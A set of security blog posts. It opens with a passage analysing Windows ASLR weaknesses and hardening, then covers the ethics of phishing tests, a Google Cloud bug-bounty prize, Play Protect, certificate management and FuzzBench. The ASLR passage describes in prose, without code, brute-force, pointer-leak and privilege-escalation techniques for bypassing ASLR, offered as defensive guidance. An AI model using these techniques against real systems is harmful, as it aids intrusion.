Since Windows DLLs do not use position-independent code, the only way their code can be shared between processes is to always be loaded at the same address. To accomplish this, the kernel picks an address (0x78000000 for example on 32-bit system) and begins loading DLLs at randomized addresses just below it. If a process loads a DLL that was used recently, the system may just re-use the previously chosen address and therefore re-use the previous copy of that DLL in memory. The implementation solves the issues of providing each DLL a random address and ensuring DLLs don’t overlap at the same time.

For EXEs, there is no concern about two EXEs overlapping since they would never be loaded into the same process. There would be nothing wrong with loading the first instance of an EXE at 0x400000 and the second instance at 0x500000, even if the image is larger than 0x100000 bytes. Windows just chooses to share code among multiple instances of a given EXE.

Takeaway 2.1: Any Windows program that automatically restarts after crashing is especially susceptible to brute force attacks to overcome ASLR. 

Consider a program that a remote attacker can execute on demand, such as a CGI program, or a connection handler that executes only when needed by a super-server (as in inetd, for example). A Windows service paired with a watchdog that restarts the service when it crashes is another possibility. An attacker can use knowledge of how Windows ASLR works to exhaust the possible base addresses where the EXE could be loaded. If the program crashes and (1) another copy of the program remains in memory, or (2) the program restarts quickly and, as is sometimes possible, receives the same ASLR base address, the attacker can assume that the new instance will still be loaded at the same address, and the attacker will eventually try that same address.

Takeaway 2.2: If an attacker can discover where a DLL is loaded in any process, the attacker knows where it is loaded in all processes. 

Consider a system running two buggy network services—one that leaks pointer values in a debug message but has no buffer overflows, and one that has a buffer overflow but does not leak pointers. If the leaky program reveals the base address of kernel32.dll and the attacker knows some useful ROP gadgets in that DLL, then the same memory offsets can be used to attack the program containing the overflow. Thus, seemingly unrelated vulnerable programs can be chained together to first overcome ASLR and then launch an exploit.

Takeaway 2.3: A low-privileged account can be used to overcome ASLR as the first step of a privilege escalation exploit. 

Suppose a background service exposes a named pipe only accessible to local users and has a buffer overflow. To determine the base address of the main program and DLLs for that process, an attacker can simply launch another copy in a debugger. The offsets determined from the debugger can then be used to develop a payload to exploit the high-privileged process. This occurs because Windows does not attempt to isolate users from each other when it comes to protecting random base addresses of EXEs and DLLs.

Fact 3: Recompiling a 32-bit program to a 64-bit one makes ASLR more effective.

Even though 64-bit releases of Windows have been mainstream for a decade or more, 32-bit user space applications remain common. Some programs have a true need to maintain compatibility with third-party plugins, as in the case of web browsers. Other times, development teams have a belief that a program needs far less than 4 GB of memory and 32-bit code could therefore be more space efficient. Even Visual Studio remained a 32-bit application for some time after it supported building 64-bit applications.

In fact, switching from 32-bit to 64-bit code produces a small but observable security benefit. The reason is that the ability to randomize 32-bit addresses is limited. To understand why, observe how a 32-bit x86 memory address is broken down in Figure 1. More details are explained at Physical Address Extension.


Figure 1: Memory addresses are divided into components, only some of which can be easily randomized at runtime

The operating system cannot simply randomize arbitrary bits of the address. Randomizing the offset within a page portion (bits 0 through 11) would break assumptions the program makes about data alignment. The page directory pointer (bits 30 and 31) cannot change because bit 31 is reserved for the kernel, and bit 30 is used by Physical Address Extension as a bank switching technique to address more than 2GB of RAM. This leaves 14 bits of the 32-bit address off-limits for randomization.

In fact, Windows only attempts to randomize 8 bits of a 32-bit address. Those are bits 16 through 23, affecting only the page directory entry and page table entry portion of the address. As a result, in a brute force situation, an attacker can potentially guess the base address of an EXE in 256 guesses.

When applying ASLR to a 64-bit binary, Windows is able to randomize 17-19 bits of the address (depending on whether it is a DLL or EXE). Figure 2 shows how the number of possible base addresses, and accordingly the number of brute force guesses needed, increases dramatically for 64-bit code. This could allow endpoint protection software or a system administrator to detect an attack before it succeeds.


Figure 2: Recompiling 32-bit code as 64-bit dramatically increases the number of possible base addresses for selection by ASLR

Takeaway 3.1: Software that must process untrusted data should always be compiled as 64-bit, even if it does not need to use a lot of memory, to take maximum advantage of ASLR.

In a brute force attack, ASLR makes attacking a 64-bit program at least 512 times harder than attacking the 32-bit version of the exact same program.

Takeaway 3.2: Even 64-bit ASLR is susceptible to brute force attacks, and defenders must focus on detecting brute force attacks or avoiding situations where they are feasible.

Suppose an attacker can make ten brute force attempts per second against a vulnerable system. In the common case of the target process remaining at the same address because multiple instances are running, the attacker would discover the base address of a 32-bit program in less than one minute, and of a 64-bit program in a few hours. A 64-bit brute force attack would produce much more noise, but the administrator or security software would need to notice and act on it. In addition to using 64-bit software to make ASLR more effective, systems should avoid re-spawning a crashing process (to avoid giving the attacker a “second bite at the apple” to discover the base address) or force a reboot and therefore guaranteed fresh address space after a process crashes more than a handful of times.

Takeaway 3.3: Researchers developing a proof of concept attack against a program available in both 32-bit and 64-bit versions should focus on the 32-bit one first.

As long as 32-bit software remains relevant, a proof-of-concept attack against the 32-bit variant of a program is likely easier and quicker to develop. The resulting attack could be more feasible and convincing, leading the vendor to patch the program sooner.

Fact 4: Windows 10 reuses randomized base addresses more aggressively than Windows 7, and this could make it weaker in some situations.

Observe that even if a Windows system must ensure that multiple instances of one DLL or EXE all get loaded at the same base address, the system need not keep track of the base address once the last instance of the DLL or EXE is unloaded. If the DLL or EXE is loaded again, it can get a fresh base address.

This is the behavior we observed in working with Windows 7. Windows 10 can work differently. Even after the last instance of a DLL or EXE unloads, it may maintain the same base address at least for a short period of time—more so for EXEs than DLLs. This can be observed when repeatedly launching a command-line utility under a multi-process debugger. However, if the utility is copied to a new filename and then launched, it receives a fresh base address. Likewise, if a sufficient duration has passed, the utility will load at a different base address. Rebooting, of course, generates fresh base addresses for all DLLs and EXEs.

Takeaway 4.1: Make no assumptions about Windows ASLR guarantees beyond per-boot randomization.

In particular, do not rely on the behavior of Windows 7 in randomizing a fresh address space whenever the first instance of a given EXE or DLL loads. Do not assume that Windows inherently protects against brute force attacks against ASLR in any way, especially for 32-bit processes where brute force attacks can take 256 or fewer guesses.

Fact 5: Windows 10 is more aggressive at applying ASLR, and even to EXEs and DLLs not marked as ASLR-compatible, and this could make ASLR stronger.

Windows Vista and 7 were the first two releases to support ASLR, and therefore made some trade-offs in favor of compatibility. Specifically, these older implementations would not apply ASLR to an image not marked as ASLR-compatible and would not allow ASLR to push addresses above the 4 GB boundary. If an image did not opt in to ASLR, these Windows versions would continue to use the preferred base address.

It is possible to further harden Windows 7 using Microsoft’s Enhanced Mitigation Experience Toolkit (commonly known as EMET) to more aggressively apply ASLR even to images not marked as ASLR-compatible. Windows 8 introduced more features to apply ASLR to non-ASLR-compatible images, to better randomize heap allocations, and to increase the number of bits of entropy for 64-bit images.

Takeaway 5.1: Ensure software projects are using the correct linker flags to opt in to the most aggressive implementation of ASLR, and that they are not using any linker flags that weaken ASLR.

See Table 2. Linker flags can affect how ASLR is applied to an image. Note that for Visual Studio 2012 and later, the ✔️flags are already enabled by default and the best ASLR implementation will be used so long as no 🚫flags are used. Developers using Visual Studio 2010 or earlier, presumably for compatibility reasons, need to check which flags the linker supports and which it enables by default.

Secure?

Linker Flag

Effect

✔️

/DYNAMICBASE

Marks the image as ASLR-compatible

✔️

/LARGEADDRESSAWARE /HIGHENTROPYVA

Marks the 64-bit image as free of pointer truncation bugs and therefore allows ASLR to randomize addresses beyond 4 GB

🚫

/DYNAMICBASE:NO

“Politely requests” that ASLR not be applied by not marking the image as ASLR-compatible. Depending on the Windows version and hardening settings, Windows might apply ASLR anyway.

🚫

/HIGHENTROPYVA:NO

Opts out 64-bit images from ASLR randomizing addresses beyond 4 GB on Windows 8 and later (to avoid compatibility issues).

🚫

/FIXED

Removes information from the image that Windows needs in order to apply ASLR, blocking ASLR from ever being applied.

Table 2: Linker flags can affect how ASLR is applied to an image

Takeaway 5.2: Enable mandatory ASLR and bottom-up randomization.

Windows 8 and 10 contain optional features to forcibly enable ASLR on images not marked as ASLR compatible, and to randomize virtual memory allocations so that rebased images obtain a random base address. This is useful in the case where an EXE is ASLR compatible, but one of the DLLs it uses is not. Defenders should enable these features to apply ASLR more broadly, and importantly, to help discover any remaining non-ASLR-compatible software so it can be upgraded or replaced.

Fact 6: ASLR relocates entire executable images as a unit.

ASLR relocates executable images by picking a random offset and applying it to all addresses within an image that would otherwise be relative to its base address. That is to say:

  • If two functions in an EXE are at addresses 0x401000 and 0x401100, they will remain 0x100 bytes apart even after the image is relocated. Clearly this is important due to the prevalence of relative call and jmp instructions in x86 code. Similarly, the function at 0x401000 will remain 0x1000 bytes from the base address of the image, wherever it may be.
  • Likewise, if two static or global variables are adjacent in the image, they will remain adjacent after ASLR is applied.
  • Conversely, stack and heap variables and memory-mapped files are not part of the image and can be randomized at will without regard to what base address was picked.

Takeaway 6.1: A leak of just one pointer within an executable image can expose the randomized addresses of the entire image.

One of the biggest limitations and annoyances of ASLR is that seemingly innocuous features such as a debug log message or stack trace that leak a pointer in the image become security bugs.  If the attacker has a copy of the same program or DLL and can trigger it to produce the same leak, they can calculate the difference between the ASLR and pre-ASLR pointer to determine the ASLR offset. Then, the attacker can apply that offset to every pointer in their attack payload in order to overcome ASLR. Defenders should train software developers about pointer disclosure vulnerabilities so that they realize the gravity of this issue, and also regularly assess software for these vulnerabilities as part of the software development lifecycle.

Takeaway 6.2: Some types of memory corruption vulnerabilities simply lie outside the bounds of what ASLR can protect.

Not all memory corruption vulnerabilities need to directly achieve remote code execution. Consider a program that contains a buffer variable to receive untrusted data from the network, and a flag variable that lies immediately after it in memory. The flag variable contains bits specifying whether a user is logged in and whether the user is an administrator. If the program writes data beyond the end of the receive buffer, the “flags” variable gets overwritten and an attacker could set both the logged-in and is-admin flags. Because the attacker does not need to know or write any memory addresses, ASLR does not thwart the attack. Only if another hardening technique (such as compiler hardening flags) reordered variables, or better, moved the location of every variable in the program independently, would such attacks be blocked.

Conclusion

Address space layout randomization is a core defense against memory corruption exploits. This post covers some history of ASLR as implemented on Windows, and also explores some capabilities and limitations of the Windows implementation. In reviewing this post, defenders gain insight on how to build a program to best take advantage of ASLR and other features available in Windows to more aggressively apply it. Attackers can leverage ASLR limitations, such as address space randomization applying only per boot and randomization relocating the entire image as one unit, to overcome ASLR using brute force and pointer leak attacks.

COVID-19 Phishing Tests: WRONG

Malware Jake Tweeted a poll last night which asked the following:

"I have an interesting ethical quandary. Is it ethically okay to use COVID-19 themed phishing emails for assessments and user awareness training right now? Please read the thread before responding and RT for visibility. 1/"

Ultimately he decided:

"My gut feeling is to not use COVID-19 themed emails in assessments/training, but to TELL users to expect them, though I understand even that might discourage consumption of legitimate information, endangering public health. 6/"

I responded by saying this was the right answer.

Thankfully there were many people who agreed, despite the fact that voting itself was skewed towards the "yes" answer.

There were an uncomfortable number of responses to the Tweet that said there's nothing wrong with red teams phishing users with COVID-19 emails. For example:

"Do criminals abide by ethics? Nope. Neither should testing."

"Yes. If it's in scope for the badguys [sic], it's in scope for you."

"Attackers will use it. So I think it is fair game."

Those are the wrong answers. As a few others outlined well in their responses, the fact that a criminal or intruder employs a tactic does not mean that it's appropriate for an offensive security team to use it too.

I could imagine several COVID-19 phishing lures that could target school districts and probably cause high double-digit click-through rates. What's the point of that? For a "community" that supposedly considers fear, uncertainty, and doubt (FUD) to be anathema, why introduce FUD via a phishing test?

I've grown increasingly concerned over the past few years that there's a "cult of the offensive" that justifies its activities with the rationale that "intruders do it, so we should too." This is directly observable in the replies to Jake's Tweet. It's a thin veneer that covers bad behavior, outweighing the small benefit accrued to high-end, 1% security shops against the massive costs suffered by the vast majority of networked global organizations.

The is a selfish, insular mindset that is reinforced by the echo chamber of the so-called "infosec community." This "tribe" is detached from the concerns and ethics of the larger society. It tells itself that what it is doing is right, oblivious or unconcerned with the costs imposed on the organizations they are supposedly "protecting" with their backwards actions.

We need people with feet in both worlds to tell this group that their approach is not welcome in the broader human community, because the costs it imposes vastly outweigh the benefits.

I've written here about ethics before, usually in connection with the only real value I saw in the CISSP -- its code of ethics. Reviewing the "code," as it appears now, shows the following:

"There are only four mandatory canons in the Code. By necessity, such high-level guidance is not intended to be a substitute for the ethical judgment of the professional.

Code of Ethics Preamble:

The safety and welfare of society and the common good, duty to our principals, and to each other, requires that we adhere, and be seen to adhere, to the highest ethical standards of behavior.
Therefore, strict adherence to this Code is a condition of certification.

Code of Ethics Canons:

Protect society, the common good, necessary public trust and confidence, and the infrastructure.
Act honorably, honestly, justly, responsibly, and legally.
Provide diligent and competent service to principals.
Advance and protect the profession."

This is almost worthless. The only actionable item in the "code" is the word "legally," implying that if a CISSP holder was convicted of a crime, he or she could lose their certification. Everything else is subject to interpretation.

Contrast that with the USAFA Code of Conduct:

"We will not lie, steal, or cheat, nor tolerate among us anyone who does."

While it still requires an Honor Board to determine if a cadet has lied, stolen, cheated, or tolerated, there's much less gray in this statement of the Academy's ethics. Is it perfect? No. Is it more actionable than the CISSP's version? Absolutely.

I don't have "solutions" to the ethical bankruptcy manifesting in some people practicing what they consider to be "information security." However, this post is a step towards creating red lines that those who are not already hardened in their ways can observe and integrate.

Perhaps at some point we will have an actionable code of ethics that helps newcomers to the field understand how to properly act for the benefit of the human community.

Announcing our first GCP VRP Prize winner and updates to 2020 program




Last year, we announced a yearly Google Cloud Platform (GCP) VRP Prize to promote security research of GCP. Since then, we’ve received many interesting entries as part of this new initiative from the security research community. Today, we are announcing the winner as well as several updates to our program for 2020.

After careful evaluation of all the submissions, we are excited to announce our winner of the 2019 GCP VRP prize: Wouter ter Maat, who submitted a write-up about Google Cloud Shell vulnerabilities. You can read his winning write-up here.

There were several other excellent reports submitted to our GCP VRP in 2019. To learn more about them watch this video by LiveOverflow, which explains some of the top submissions in detail.

To encourage more security researchers to look for vulnerabilities in GCP and to better reward our top bug hunters, we're tripling the total amount of the GCP VRP Prize this year. We will pay out a total of $313,337 for the top vulnerability reports in GCP products submitted in 2020. The following prize amounts will be distributed between the top 6 submissions:
  • 1st prize: $133,337
  • 2nd prize: $73,331
  • 3rd prize: $73,331
  • 4th prize: $31,337
  • 5th prize: $1,001
  • 6th prize: $1,000

Like last year, submissions should have public write-ups in order to be eligible for the prize. The number of vulnerability reports in a single write-up is not a factor. You can even make multiple submissions, one for each write-up. These prizes are only for vulnerabilities found in GCP products. If you have budget constraints regarding access to testing environments, you can use the free tier of GCP. Note that this prize is not a replacement of our Vulnerability Reward Program (VRP), and that we will continue to pay security researchers under the VRP for disclosing security issues that affect Google services, including GCP. Complete details, terms and conditions about the prize can be found here.


Thank you to everyone who submitted entries in 2019! Make sure to nominate your VRP reports and write-ups for the 2020 GCP VRP prize here before December 31, 2020 at 11:59 GMT.

How Google Play Protect kept users safe in 2019


Through 2019, Google Play Protect continued to improve the security for 2.5 billion Android devices. Built into Android, Play Protect scans over 100 billion apps every day for malware and other harmful apps. This past year, Play Protect prevented over 1.9 billion malware installs from unknown sources. Throughout 2019 there were many improvements made to Play Protect to bring the best of Google to Android devices to keep users safe. Some of the new features launched in 2019 include:
Advanced similarity detection
Play Protect now warns you about variations of known malware right on the device. On-device protections warn users about Potentially Harmful Apps (PHAs) at install time for a faster response. Since October 2019, Play Protect issued 380,000 warnings for install attempts using this system.
Warnings for apps targeting lower Android versions
Malware developers intentionally target devices running long outdated versions of Android to abuse exploits that have recently been patched. In 2018, Google Play started requiring new apps and app updates be built for new versions of the Android OS. This strategy ensures that users downloading apps from Google Play recieve apps that take advantage of the latest privacy and security improvements in the OS.
In 2019, we improved on this strategy with warnings to the user. Play Protect now notifies users when they install an app that is designed for outdated versions. The user can then make an informed decision to proceed with the installation or stop the app from being installed so they can look for an alternative that target the most current version of Android.
Uploading rare apps for scanning
The Android app ecosystem is growing at an exponential rate. Millions of new app versions are created and shared outside of Google Play daily posing a unique scaling challenge. Knowledge of new and rare apps is essential to provide the best protection possible.
We added a new feature that lets users help the fight against malware by sending apps Play Protect hasn't seen before for scanning during installation. The upload to Google’s scanning services preserves the privacy of the user and enables Play Protect to improve the protection for all users.
Integration with Google’s Files app
Google’s Files app is used by hundreds of millions of people every month to manage the storage on their device, share files safely, and clean up clutter and duplicate files. This year, we integrated Google Play Protect notifications within the app so that users are prompted to scan and remove any harmful applications that may be installed.
Play Protect visual updates
The Google Play Store has over 2 billion monthly active users coming to safely find the right app, game, and other digital content. This year the team was excited to roll out a complete visual redesign. With this change, Play Protect made several user-facing updates to deliver a cleaner, more prominent experience including a reminder to enable app-scanning in My apps & games to improve security.
The mobile threat landscape is always changing and so Google Play Protect must keep adapting and improving to protect our users. Visit developers.google.com/android/play-protect to stay informed on all the new exciting features and improvements being added to Google Play Protect.
Acknowledgements: Aaron Josephs, Ben Gruver, James Kelly, Rodrigo Farell, Wei Jin and William Luh

How Google does certificate lifecycle management


Over the last few years, we’ve seen the use of Transport Layer Security (TLS) on the web increase to more than 96% of all traffic seen by a Chrome browser on Chrome OS. That’s an increase of over 35% in just four years, as reported in our Google Transparency Report. Whether you’re a web developer, a business, or a netizen, this is a collective achievement that’s making the Internet a safer place for everyone.

Percentage of pages loaded over HTTPS in Chrome by platform (Google Transparency Report)

The way TLS is deployed has also changed. The maximum certificate validity for public certificates has gone from 5 years to 2 years (CA/Browser Forum), and that will drop to 1 year in the near future. To reduce the number of outages caused by manual certificate enrollments, the Internet Engineering Task Force (IETF) has standardized Automatic Certificate Management Environment (ACME). ACME enables Certificate Authorities (CAs) to offer TLS certificates for the public web in an automated and interoperable way. 

As we round off this exciting tour of recent TLS history, we’d be remiss if we didn’t mention Let’s Encrypt - the first publicly trusted non-profit CA. Their focus on automation and TLS by default has been foundational to this massive increase in TLS usage. In fact, Let’s Encrypt just issued their billionth (!) certificate. Google has been an active supporter of Let’s Encrypt because we believe the work they do to make TLS accessible is important for the security and resilience of the Internet's infrastructure. Keep rocking, Let’s Encrypt!

Simplifying certificate lifecycle management for Google’s users

These are important strides we are making collectively in the security community. At the same time, these efforts mean we are moving to shorter-lived keys to improve security, which in-turn requires more frequent certificate renewals. Further, infrastructure deployments are getting more heterogeneous. Web traffic is served from multiple datacenters, often from different providers. This makes it hard to manually keep tabs on which certificates need renewing and ensuring new certificates are deployed correctly. So what is the way forward? 

With the adoption numbers cited above, it’s clear that TLS, Web PKI, and certificate lifecycle management are foundational to every product we and our customers build and deploy. This is why we have been expanding significant effort to enable TLS by default for our products and services, while also automating certificate renewals to make certificate lifecycle management more reliable, globally scalable, and trustworthy for our customers. Our goal is simple: We want to ensure TLS just works out of the box regardless of which Google service you use.

In support of that goal, we have enabled automatic management of TLS certificates for Google services using an internal-only ACME service, Google Trust Services. This applies to our own products and services, as well as for our customers across Alphabet and Google Cloud. As a result, our users no longer need to worry about things like certificate expiration, because we automatically refresh the certificates for our customers. Some implementation highlights include:

  • All Blogger blogs, Google Sites, and Google My Business sites now get HTTPS by default for their custom domains.
  • Google Cloud customers get the benefits of Managed TLS on their domains. So:
    • Developers building with Firebase, Cloud Run, and AppEngine automatically get HTTPS for their applications.
    • When deploying applications with Google Kubernetes Engine or behind Google Cloud Load Balancing (GCLB), certificate management is taken care of if customers choose to use Google-managed certificates. This also makes TLS use with these products easy and reliable.
Performance, scalability, and reliability are foundational requirements for Google services. We have established our own publicly trusted CA, Google Trust Services to ensure we can meet those criteria for our products and services. At the same time, we believe in user choice. So even as we make it easier for you to use Google Trust Services, we have also made it possible across Google’s products and services to use Let’s Encrypt. This choice can be made easily through the creation of a CAA record indicating your preference.

While everyone appreciates TLS working out of the box, we also know power users have specialized needs. This is why we have provided rich capabilities in Google Cloud Load Balancing to let customers control policies around TLS termination. 

In addition, through our work on Certificate Transparency in collaboration with other organizations, we have made it easier for our customers to protect their and their customers’ brands by monitoring the WebPKI ecosystem for certificates issued for their domains or those that look similar to their domains, so they can take proactive measures to stop any abuse before it becomes an issue. For example, Facebook used Certificate Transparency Logs to catch a number of phishing websites that tried to impersonate their services. 

We recognize how important security, privacy, and reliability are to you and have been investing across our product portfolio to ensure that when it comes to TLS, you have the tools you need to deploy with confidence. Going forward, we look forward to a continued partnership to make the Internet a safer place together.

FuzzBench: Fuzzer Benchmarking as a Service


We are excited to launch FuzzBench, a fully automated, open source, free service for evaluating fuzzers. The goal of FuzzBench is to make it painless to rigorously evaluate fuzzing research and make fuzzing research easier for the community to adopt.
Fuzzing is an important bug finding technique. At Google, we’ve found tens of thousands of bugs (1, 2) with fuzzers like libFuzzer and AFL. There are numerous research papers that either improve upon these tools (e.g. MOpt-AFL, AFLFast, etc) or introduce new techniques (e.g. Driller, QSYM, etc) for bug finding. However, it is hard to know how well these new tools and techniques generalize on a large set of real world programs. Though research normally includes evaluations, these often have shortcomings—they don't use a large and diverse set of real world benchmarks, use few trials, use short trials, or lack statistical tests to illustrate if findings are significant. This is understandable since full scale experiments can be prohibitively expensive for researchers. For example, a 24-hour, 10-trial, 10 fuzzer, 20 benchmark experiment would require 2,000 CPUs to complete in a day.
To help solve these issues the OSS-Fuzz team is launching FuzzBench, a fully automated, open source, free service. FuzzBench provides a framework for painlessly evaluating fuzzers in a reproducible way. To use FuzzBench, researchers can simply integrate a fuzzer and FuzzBench will run an experiment for 24 hours with many trials and real world benchmarks. Based on data from this experiment, FuzzBench will produce a report comparing the performance of the fuzzer to others and give insights into the strengths and weaknesses of each fuzzer. This should allow researchers to focus more of their time on perfecting techniques and less time setting up evaluations and dealing with existing fuzzers.
Integrating a fuzzer with FuzzBench is simple as most integrations are less than 50 lines of code (example). Once a fuzzer is integrated, it can fuzz almost all 250+ OSS-Fuzz projects out of the box. We have already integrated ten fuzzers, including AFL, LibFuzzer, Honggfuzz, and several academic projects such as QSYM and Eclipser.
Reports include statistical tests to give an idea how likely it is that performance differences between fuzzers are simply due to chance, as well as the raw data so researchers can do their own analysis. Performance is determined by the amount of covered program edges, though we plan on adding crashes as a performance metric. You can view a sample report here.
How to Participate
Our goal is to develop FuzzBench with community contributions and input so that it becomes the gold standard for fuzzer evaluation. We invite members of the fuzzing research community to contribute their fuzzers and techniques, even while they are in development. Better evaluations will lead to more adoption and greater impact for fuzzing research.
We also encourage contributions of better ideas and techniques for evaluating fuzzers. Though we have made some progress on this problem, we have not solved it and we need the community’s help in developing these best practices.
Please join us by contributing to the FuzzBench repo on GitHub.